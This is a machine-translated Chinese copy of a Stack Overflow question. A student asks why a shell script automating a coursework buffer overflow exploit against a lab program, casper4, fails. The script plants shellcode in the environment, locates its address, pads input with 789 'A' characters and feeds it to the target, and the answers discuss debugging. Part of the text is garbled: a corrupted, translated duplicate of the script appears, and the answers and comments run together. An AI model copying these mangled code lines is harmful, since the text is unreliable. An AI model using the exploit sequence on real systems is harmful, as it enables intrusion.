Linux Bash-在shell脚本中执行多个命令

Linux Bash-在shell脚本中执行多个命令,linux,bash,shell,Linux,Bash,Shell,我正在为一个学校项目写一个缓冲区溢出漏洞攻击。我试图利用的程序名为casper4。我知道如何利用该程序,但现在我正试图将命令序列放入一个shell脚本中 我的脚本如下所示: #!/bin/sh ./egg1; # Put the shell code in the enviromnent ./eggfind > output.txt; # Put the address of the shellcode in output.txt ./escapeAddr "$(<output.tx

我正在为一个学校项目写一个缓冲区溢出漏洞攻击。我试图利用的程序名为
casper4
。我知道如何利用该程序,但现在我正试图将命令序列放入一个shell脚本中

我的脚本如下所示:

#!/bin/sh
./egg1; # Put the shell code in the enviromnent
./eggfind > output.txt; # Put the address of the shellcode in output.txt
./escapeAddr "$(<output.txt)" > addressHexa.txt # Escape the address
echo -e "$(<addressHexa.txt)" > address.txt; # Address to ascii
perl -e 'print "A"x789' > As.txt; # Get As to fill the buffer
cat As.txt address.txt > input.txt; # Create one input file
./casper4 "$(<input.txt)"; # Feed the input to the program
#/垃圾箱/垃圾箱
/蛋1;#将shell代码放入环境中
./eggfind>output.txt;#将外壳代码的地址放在output.txt中

./escapeAddr“$(很可能其中一个命令没有退出,这会中断整个序列。最好的选择是向代码中添加超时,以帮助调试

我建议写这篇关于shell防御编码的文章:

在脚本中包括超时:

您可以使用
/egg1 |/eggfind |.
来管道化这些命令,
..
表示其余的命令。只需通过

将它们分开,这可能是因为调用
egg1
会使脚本挂起。如果您有一组命令,它们将一个接一个地执行:一个完成后,t他下一个接手。还有一个可能性是
/egg1
更改了工作目录。您应该跟踪执行(
set-x
)以查看发生了什么。@fedorqui
egg1
成功执行。我认为是这样,因为脚本打印了“加载到环境中的蛋壳”。"然后我可以运行
eggfind
来获取地址。实际上,如果不看所有脚本都做了什么,就无法知道哪里出了问题。任何帮助的尝试都是纯粹的猜测。我需要吗?我真正想做的就是把这些行,当它们一对一地输入到命令行中,输入到脚本中时,这些行就起作用了。这难道不是r吗真的很简单吗?@ThomasVanhelden很抱歉直截了当,但我不相信你说的脚本与你键入的命令相同。例如,脚本中有很多无用的分号,我认为你没有键入。请提供证据证明这些命令在键入时有效。其中一个证据就是使用
scri创建的typescriptpt
之后是命令。@Jens没问题,这是我应得的。问题不在我发布的脚本中,而是在
egg1
脚本中出现了问题。
egg1
打开了一个bash shell,所以我发布的脚本中的所有其他命令都是由该shell而不是原始shell处理的。因此,我投票关闭了我的脚本问题,因为这是一个非常糟糕的问题。我尝试过,但它没有提供所需的结果。它确实执行'casper4'(最后一个命令),但它调用它时输出为空。在脚本中创建的所有文件都是空的。